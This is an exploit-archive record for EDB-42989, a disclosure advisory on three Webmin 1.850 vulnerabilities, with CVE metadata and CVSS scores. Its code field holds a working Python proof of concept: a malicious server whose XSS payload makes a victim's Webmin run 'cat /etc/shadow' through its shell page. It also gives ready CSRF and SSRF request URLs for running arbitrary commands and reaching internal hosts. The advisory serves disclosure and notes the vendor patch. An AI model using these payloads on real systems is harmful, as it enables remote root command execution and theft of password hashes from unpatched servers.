{"exploit":{"id":"EDB-42989","name":"Webmin 1.850 - Cross-Site Scripting (XSS) / Cross-Site Request Forgery (CSRF) / Server-Side Request Forgery (SSRF)","description":"Webmin 1.850 - Cross-Site Scripting (XSS) / Cross-Site Request Forgery (CSRF) / Server-Side Request Forgery (SSRF)","cves":["CVE-2017-15646","CVE-2017-15645","CVE-2017-15644"],"author":"hyp3rlinx","published":"2017-10-15","platform":"cgi","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/42989","path":"exploits/cgi/webapps/42989.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-42989.txt","vulnerabilities":[{"id":"CVE-2017-15646","state":"PUBLISHED","title":null,"titleSource":null,"description":"Webmin before 1.860 has XSS with resultant remote code execution. Under the 'Others/File Manager' menu, there is a 'Download from remote URL' option to download a file from a remote server. After setting up a malicious server, one can wait for a file download request and then send an XSS payload that will lead to Remote Code Execution, as demonstrated by an OS command in the value attribute of a name='cmd' input element.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2017-15646","cvss":{"version":"3.0","baseScore":6.1,"severity":"medium","vectorString":"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2017-15646"},"updatedAt":"2024-09-17T00:11:41.559Z","retrievedAt":"2026-11-27T03:26:13.921Z","stale":false,"error":null},{"id":"CVE-2017-15645","state":"PUBLISHED","title":null,"titleSource":null,"description":"CSRF exists in Webmin 1.850. By sending a GET request to at/create_job.cgi containing dir=/&cmd= in the URI, an attacker to execute arbitrary commands.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2017-15645","cvss":{"version":"3.0","baseScore":8.8,"severity":"high","vectorString":"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2017-15645"},"updatedAt":"2024-09-16T17:53:07.920Z","retrievedAt":"2026-11-27T03:26:07.553Z","stale":false,"error":null},{"id":"CVE-2017-15644","state":"PUBLISHED","title":null,"titleSource":null,"description":"SSRF exists in Webmin 1.850 via the PATH_INFO to tunnel/link.cgi, as demonstrated by a GET request for tunnel/link.cgi/http://INTRANET-IP:8000.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2017-15644","cvss":{"version":"3.0","baseScore":8.6,"severity":"high","vectorString":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2017-15644"},"updatedAt":"2024-09-16T20:07:05.121Z","retrievedAt":"2026-11-27T03:10:30.393Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-42989.png?v=2","url":"https://exploitbin.com/exploits/EDB-42989","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-42989/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-42989/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"[+] SSD Beyond Security: https://blogs.securiteam.com/index.php/archives/3430\n[+] Credits: John Page (aka hyp3rlinx)\n[+] Website: hyp3rlinx.altervista.org\n[+] Source:  http://hyp3rlinx.altervista.org/advisories/WEBMIN-v1.850-REMOTE-COMMAND-EXECUTION.txt\n[+] ISR: ApparitionSec\n\n\n\nVulnerability summary\nThe following advisory describes three (3) vulnerabilities found in Webmin version 1.850\n\nWebmin “is a web-based interface for system administration for Unix. Using any modern web browser, you can setup user accounts, Apache, DNS,\nfile sharing and much more. Webmin removes the need to manually edit Unix configuration files like /etc/passwd, and lets you manage a system from\nthe console or remotely. See the standard modules page for a list of all the functions built into Webmin.”\n\nThe vulnerabilities found are:\n\nXSS vulnerability that leads to Remote Code Execution\nCSRF Schedule arbitrary commands\nServer Side Request Forgery\n\nCredit\nAn independent security researcher, hyp3rlinx, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program\n\nVendor response\nThe vendor has released patches to address these vulnerabilities.\n\nFor more information: https://github.com/webmin/webmin/commit/0c58892732ee7610a7abba5507614366d382c9c9 and http://www.webmin.com/security.html\n\n\nVulnerability details\nXSS vulnerability that leads to Remote Code Execution\n\nUnder Webmin menu ‘Others/File Manager‘ there is option to download a file from a remote server ‘Download from remote URL‘.\n\nBy setting up a malicious server we can wait for file download request then send a XSS payload that will lead to Remote Code Execution.\n\nWebmin echo back the ‘File Download‘ request status which we can trigger the XSS vulnerability and bypass this Referrer check by setting the\ndomain=webmin-victim-ip.\n\nProof of Concept\n\n\nimport socket\n\n#===================================================\n#Run this script and listen for file download from webmin\n#Enter payload to execute RCE\n#wait for webmin to connect and download file\n#Vulnerability is in Menu/Others/File Manager\n#issue is webmin echoes back status of the download\n#by injecting XSS we bypass the Referer: check by assign\n#domain to victims own IP, then execute our RCE\n#-----------------------------------------------------------\n#e.g.\n#Download from remote URL\n#http://x.x.x.x:10000/shell/index.cgi\n#> whoami\n#root\n\nPORT=int(raw_input(\"[PORT]> \")) #port we listen on for file download requests\nWEBMIN_IP=raw_input(\"[Webmin IP]> \") #victim\n\n#Read /etc/shadow file\nCMD=(\"/><script>document.domain='http://\"+WEBMIN_IP+\":10000/shell/index.cgi'</script>\"+\n\"<form action='https://\"+WEBMIN_IP+\":10000/shell/index.cgi' method='POST' enctype='multipart/form-data'>\"+\n\"<input type='hidden' name='cmd' value='cat /etc/shadow'><script>document.forms[0].submit()</script></form>\")\n\ns = socket.socket()\nHOST = ''\ns.bind((HOST, PORT))\ns.listen(5)\n\nprint '\\nwebmin file download 0day...'\n\nwhile True:\n conn, addr = s.accept()\n conn.send(CMD+'\\r\\n')\n print 'Connected!'\n print s.recv(1024)\n conn.close()\ns.close()\n\n\n\n\nCSRF Schedule arbitrary commands\n\nUser controlled input is not sufficiently sanitized, by sending GET request to create_job.cgi with the following parameter dir=/&cmd=ls\nan attacker to execute arbitrary commands.\n\nProof of Concept\n\nhttp://x.x.x.x:10000/at/create_job.cgi?user=root&day=31&month=7&year=2017&hour=2&min=00&dir=/&cmd=ls -lt&mail=0\nServer Side Request Forgery\n\nUser controlled input is not sufficiently sanitized, by sending GET request to tunnel/link.cgi/http://VICTIM-IP:8000 an attacker can trigger\nthe vulnerability\n\nProof of Concept\n\n\nhttp://x.x.x.x:10000/tunnel/link.cgi/http://VICTIM-IP:8000\n\n\nNetwork Access:\n===============\nRemote\n\n\n\nSeverity:\n=========\nHigh\n\n\n\nDisclosure Timeline:\n====================\nWould like to acknowledge Beyond Security’s SSD program for the help with co-ordination of this vulnerability.\nMore details can be found on their blog at:\n\nhttps://blogs.securiteam.com/index.php/archives/3430\n\n\n\n\n[+] Disclaimer\nThe information contained within this advisory is supplied \"as-is\" with no warranties or guarantees of fitness of use or otherwise.\nPermission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and\nthat due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit\nis given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility\nfor any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information\nor exploits by the author or elsewhere. All content (c).","sha256":"31acd138dc4c1c13369f4e6c9795712e11c2fd71363eda1768e3a698f7ef3707","bytes":4771,"fetchedAt":"2026-11-27T03:10:28.624Z","encoding":"utf-8 (display only; download retains original bytes)"}